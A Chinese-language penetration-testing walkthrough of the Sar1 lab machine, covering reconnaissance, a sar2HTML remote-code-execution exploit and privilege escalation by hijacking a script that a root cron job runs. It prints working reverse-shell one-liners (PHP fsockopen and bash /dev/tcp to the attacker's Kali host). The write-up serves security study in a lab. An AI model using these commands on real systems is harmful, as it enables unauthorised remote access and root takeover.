渗透测试——靶机Sar1渗透横向详细过程

本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

文章目录


靶机介绍

本次给大家带来VirtualBoxSar1靶机的渗透横向过程(Vmware用不了);

上次给大家带来的DC-3靶机,则是首次利用了PHP一句话木马进行渗透操作;

此次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

将文件下载下来后,导入到VirtualBox:

随后修改一下网络配置,将其设置为VirtualBox Host-only模式:


随后打开靶机,进行我们的渗透操作;


信息收集

本次渗透中,目标主机的IP地址网段为:192.168.56.0/24

  • 本机kaliIP地址:192.168.56.102

经过排查,得出目标主机的IP地址为192.168.56.107

接下来我们使用kali进行更加详细的信息收集:

bash 复制代码
# 简略信息
nmap -sC -sV -v -A -p- 192.168.56.107

# 详细信息
nmap -sC -sV -T4 -A -p- 192.168.56.107

# 探测版本
nmap -O 192.168.56.107

得到的扫描结果如下:

得到信息:只开放了http服务

访问Web页面

那就访问看一下:

发现是一个默认的Apache配置,Ctrl+U查看源代码,也没有发现什么有效信息;

既然如此,我们先对其进行目录扫描:

bash 复制代码
# 使用dirsearch
python dirsearch.py -t 100 -u http://192.168.56.107.101/ --include-status 200,301

得到三个页面:

  • index.html:默认页面
  • phpinfo.php:泄露信息:PHP 版本、服务器系统(OS)、数据库版本、已安装扩展、文件路径、环境变量等,可能被黑客利用寻找漏洞。
  • robots.txt:可能包含敏感目录和文件路径

phpinfo.php 敏感信息

按键盘 Ctrl+F 调出浏览器搜索框,输入对应关键词,直接定位敏感信息:

要查找的信息 搜索关键词
PHP版本 PHP Version
服务器系统(OS) System
数据库版本(MySQL) mysql 或 mysqli
已安装扩展 Configure Command
文件路径 DOCUMENT_ROOT 或 PATH
环境变量 Environment

从phpinfo.php页面中,我们得到了当前用户的特权,目录等信息:

  • PHP Version ------ 7.1.32-1+ubuntu18.04.1+deb.sury.org+1
  • SYSTEM ------ Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64
    DOCUMENT_ROOT ------ /var/www/html

robots.txt泄露信息

我们http://192.168.56.107/robots.txt访问后,得到信息:

sar 负责收集原始监控数据,sar2HTML 负责把这些 "看不懂的文本" 变成 "能直观看到的图表 / 表格",常用于服务器日常监控或性能排查。

根据搜索得到的信息,我们访问 url/sar2HTML页面:

随后去漏洞库搜索,发现了一个可用的RCE:

我们将脚本保存下来,然后执行:

成功得到一个交互式脚本;

思路:可以借助该exploit获得一个反弹shell,本例中使用的获得反弹shell的命令如下,其中192.168.56.107为目前Kali系统的实际IP,这里使用了1234端口作为反弹shell的接收端口。

使用命令:

  • 这里kali的IP地址为:192.168.56.102
  • 执行下述命令时,先开启一个监听
bash 复制代码
# 执行命令
php -r '$sock=fsockopen("192.168.56.102",1234);shell_exec("sh <&3 >&3 2>&3");'

(执行命令若无反弹shell,可将命令url编码后,再执行)

成功反弹一个shell:

渗透操作

上一节获得的反弹shell默认位于/var/www/html/sar2HTML目录下,通过cd...命令跳转到上一层目录,即/var/www/html/,会发现两个特殊的文件:finally.sh和write.sh

分别查看内容:

bash 复制代码
# finally.sh内容
./write.sh

# write.sh内容
touch /tmp/gateway

同时,finally.sh还是拥有root权限的脚本:

www-data对write.sh文件拥有读写和执行权限,这意味着当前的反弹shell可以修改write.sh的文件内容!

(1)所以,我们可以通过修改write.sh的内容(来创建一个定时任务);

(2)然后finally.sh执行(root权限);

(2)此时finally.sh反弹的shell就拥有root权限;成功实现越权;

然后我们将LinxEnum上传到目标主机上,并执行枚举操作:

解压后执行脚本:

然后可以发现在定时任务处,有一个情况:

作用:每隔5分钟,以root权限执行finally.sh脚本;


额外知识:

crontab 的时间格式由五个字段组成,分别表示分钟、小时、日、月、星期几,后面跟要执行的命令:

bash 复制代码
* * * * * command
- - - - -
| | | | |
| | | | ----- 星期几 (0-6, 0 表示周日)
| | | ------- 月份 (1-12)
| | --------- 日期 (1-31)
| ----------- 小时 (0-23)
------------- 分钟 (0-59)

crontab 命令格式的完整语法:

bash 复制代码
# 注释行
* * * * * command >> /path/to/logfile 2>&1

--

利用计划任务进行提权实战

(1)根据之前的分析可知,finally.sh会执行write.sh,而我们又具有write.sh的修改权限 ;

(2)因此只需要篡改 write.sh文件的内容,当以root权限执行的finally.sh调用write.sh时;

(3)这些篡改的命令就会被触发,并从finally.sh处继承root权限

将如下命令写入write.sh并替换其原有的内容;

将上述命令写入write.sh的方法很多,可以通过nc命令,也可以直接通过echo命令,具体如下:

注意:执行脚本前,需在控制端(192.168.56.102)启动 nc 监听端口:nc -lvp 8885,否则无法接收反向 Shell;

bash 复制代码
# 代码一
echo 'bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh

# 代码二
echo '#!/bin/bash
bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh

完成上述操作后,最多只需等待5分钟,即一个计划任务的执行周期,便可在Kali系统的8885端口获得一个新的来自于该目标主机的反弹shell连接,且其为root权限:

经过不懈的等待,终于反弹了shell:

成功getshell

总结

本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

期待下次再见;

相关推荐
FreeBuf_2 小时前
智能汽车遭远程锁死,俄罗斯数百辆保时捷因安全系统故障出现大规模瘫痪
安全·汽车
山峰哥2 小时前
现代 C++ 的最佳实践:从语法糖到工程化思维的全维度探索
java·大数据·开发语言·数据结构·c++
我命由我123452 小时前
微信小程序 - 页面返回并传递数据(使用事件通道、操作页面栈)
开发语言·前端·javascript·微信小程序·小程序·前端框架·js
可涵不会debug2 小时前
openEuler 22.03 LTS 在 VMware 虚拟机环境下的安全评测:SELinux、防火墙、系统加固与漏洞扫描
安全
好游科技2 小时前
开源IM即时通讯系统全解析:安全可控的社交解决方案
安全·im即时通讯·社交软件·私有化部署im即时通讯·社交app
黛琳ghz2 小时前
机密计算与安全容器:openEuler安全生态深度测评
服务器·数据库·安全·计算机·操作系统·openeuler
Ping32文件安全2 小时前
文件加密软件选择哪款?精选这六款文件加密软件
安全·web安全
秦苒&2 小时前
【C语言指针一】从入门到通透:核心知识点全梳理(内存、变量、运算、const修饰)
c语言·开发语言·c++
wu_dangwangye2 小时前
n8n,make,Zapier自动化工作流速成教学
python·fastapi